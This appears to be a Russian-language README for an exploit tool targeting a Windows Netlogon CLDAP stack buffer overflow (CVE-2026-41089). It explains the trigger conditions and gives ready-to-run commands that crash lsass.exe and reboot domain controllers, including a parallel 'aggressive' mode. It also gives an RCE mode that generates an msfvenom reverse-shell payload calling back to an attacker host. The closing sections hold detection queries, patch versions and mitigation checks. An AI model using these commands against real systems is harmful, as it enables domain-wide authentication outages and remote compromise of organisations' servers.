
CVE-2026-41089 - это критическая уязвимость удаленного выполнения кода в службе Netlogon Windows, один пакет может привести к сбою lsass.exe, что вызовет перезагрузку контроллера домена примерно через 30-60 секунд. В течение этого времени вся доменная аутентификация на этом контроллере домена будет неудачной.
CVE-ID: CVE-2026-41089
CVSS: 9.8 (Critical)
CWE: CWE-121 (Stack-based Buffer Overflow)
Вектор атаки: UDP/389 (CLDAP SearchRequest)
Воздействие: удалённое выполнение кода (RCE) / отказ в обслуживании (DoS)
Затронутые версии: Windows Server 2012 R2 ~ 2025 (Domain Controllers)
Патч: накопительное обновление за май 2026 г.
Функция NetpLogonPutUnicodeString в netlogon.dll содержит уязвимость переполнения стекового буфера при обработке CLDAP-запросов поиска. Функция принимает бюджет длины в байтах, но интерпретирует его как количество WCHAR, что приводит к записи в 2 раза большего объёма, чем ожидается.
Переполнение происходит в фиксированном стековом буфере размером 528 байт (264 ushort) функции NlGetLocalPingResponse. Контролируемое атакующим поле User вместе с собственным DNS-именем домена сервера заполняют этот буфер, что в конечном итоге перезаписывает GS security cookie, вызывая __report_gsfailure и падение lsass.exe.
NtVer=0x02 в CLDAP SearchRequest (принудительное использование старого уязвимого пути BuildSamLogonResponse)User ≥ ~130 символов (бинарный предел около 260 байт UTF-16)Примечание:
NtVer=0x16(значение, используемое во многих публичных скриптах обнаружения) задействует безопасный путьBuildSamLogonResponseExи не вызывает уязвимость.
| Режим | Описание |
|---|---|
--mode dos | Отправляет специально сформированный CLDAP-пакет, вызывающий падение LSASS и перезагрузку DC (~60 секунд нарушения аутентификации) |
--mode rce | Попытка удалённого выполнения кода (исследовательский уровень, требует shellcode) |
--mode scan | Сканирует ответы для различных значений NtVer, выполняя фингерпринтинг целевого DC |
--mode auto | Автоматически определяет и выбирает оптимальную стратегию атаки |
Один пакет вызывает падение lsass.exe, что приводит к перезагрузке контроллера домена в течение примерно 30-60 секунд. В течение этого времени вся доменная аутентификация на данном DC будет завершаться ошибкой.
# Базовое использование — отправка 3 пакетов
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode dos
# Быстрая атака одним пакетом
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 1
# Агрессивный режим — 5 пакетов параллельно
python CVE-2026-41089-exp.py dc01.corp.local corp.local --mode dos --count 5 --delay 0.1
⚠️ Исследовательский уровень — ненадёжен и нестабилен в реальных условиях.
RCE сталкивается со следующими проблемами:
# Генерация shellcode
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.5 LPORT=4444 \
-f raw -o shellcode.bin
# Отправка RCE-цепочки
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode rce \
--shellcode-file shellcode.bin --lhost 10.0.0.5 --lport 4444
# Фингерпринтинг целевого DC
python CVE-2026-41089-exp.py 10.0.0.10 corp.local --mode scan
Пример ожидаемого вывода (пропатченная цель):
NtVer=0x00000002 → RESPONDED (3 ms)
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Пример ожидаемого вывода (непропатченная цель):
NtVer=0x00000002 → TIMEOUT (5001 ms) ← LSASS crashed!
NtVer=0x00000004 → RESPONDED (4 ms)
NtVer=0x00000006 → RESPONDED (3 ms)
NtVer=0x00000016 → RESPONDED (3 ms)
NtVer=0x00000000 → RESPONDED (3 ms)
Если NtVer=0x02 завершается таймаутом, а другие версии отвечают нормально, цель, скорее всего, уязвима.
| Параметр | Описание | Значение по умолчанию |
|---|---|---|
-l, --user-len | Длина поля имени пользователя (в ASCII-символах) | 180 |
--ntver | Значение NtVer (шестнадцатеричное, например 0x02) | 0x02 |
--count | Количество отправляемых DoS-пакетов | 3 |
--delay | Задержка между пакетами (секунды) | 0.5 |
-t, --timeout | Таймаут сокета (секунды) | 5.0 |
--json | Вывод результатов в формате JSON | — |
--raw | Печать шестнадцатеричного дампа сырого пакета перед отправкой | — |
--quiet | Подавление вывода баннера | — |
--shellcode-file | Пользовательский файл shellcode (сырой x64) | — |
--lhost | Адрес прослушивания для reverse shell | — |
--lport | Порт прослушивания для reverse shell | 4444 |
# Создание DC с длинным доменным именем на Windows Server (непропатченном):
# 1. Повышение до контроллера домена (домен с очень длинным DNS-именем, например "this-is-a-very-long-domain-name-for-testing.corp.local")
# 2. Убедитесь, что установлены патчи до мая 2026 г.
# 3. Запуск с атакующей машины:
python CVE-2026-41089-exp.py <DC_IP> <LONG_DOMAIN_NAME> --mode dos --count 1
# 4. Наблюдайте падение и перезагрузку DC
User > 100 байт и NtVer = 0x02Event ID: 1000
Faulting process: lsass.exe
Faulting module: netlogon.dll
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
index=wineventlog source="WinEventLog:Application" EventID=1000
Process_Name="lsass.exe" Exception_Code="0xc0000409"
Event
| where Source == "Application" and EventID == 1000
| where RenderedDescription contains "lsass.exe"
| where RenderedDescription contains "0xc0000409"
| Версия Windows Server | Номер пропатченной версии | Примечания |
|---|---|---|
| Server 2012 | 6.2.9200.26079 | ESU |
| Server 2012 R2 | 6.3.9600.23181 | ESU |
| Server 2016 | 10.0.14393.9140 | |
| Server 2019 | 10.0.17763.8755 | |
| Server 2022 | 10.0.20348.5074 | |
| Server 2022 23H2 | 10.0.25398.2330 | |
| Server 2025 | 10.0.26100.32772 |
# Безопасный скрипт обнаружения — не вызывает падения цели
python detect_CVE-2026-41089.py <DC_IP> <DOMAIN>
# Вывод JSON (подходит для массового сканирования)
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --json
# Показать шаги проверки патча
python detect_CVE-2026-41089.py 10.0.0.10 corp.local --check-patch
Принцип обнаружения: отправляются короткие CLDAP-запросы с NtVer=0x02 (активирует уязвимый путь) и NtVer=0x16 (безопасный путь). Если 0x02 завершается таймаутом, а 0x16 отвечает нормально, цель, скорее всего, уязвима.
Немедленно установите патч: накопительное обновление за май 2026 г. (KB5058405 или выше)
# Проверка установленных обновлений
Get-HotFix | Where-Object {$_.InstalledOn -gt '2026-05-01'}
# Установка последних обновлений
Install-WindowsUpdate -AcceptAll -AutoReboot
Проверьте версию netlogon.dll:
(Get-Item C:\Windows\System32\netlogon.dll).VersionInfo.FileVersion
# Сравните с таблицей версий патчей выше
Временные меры защиты (если патч невозможно установить немедленно):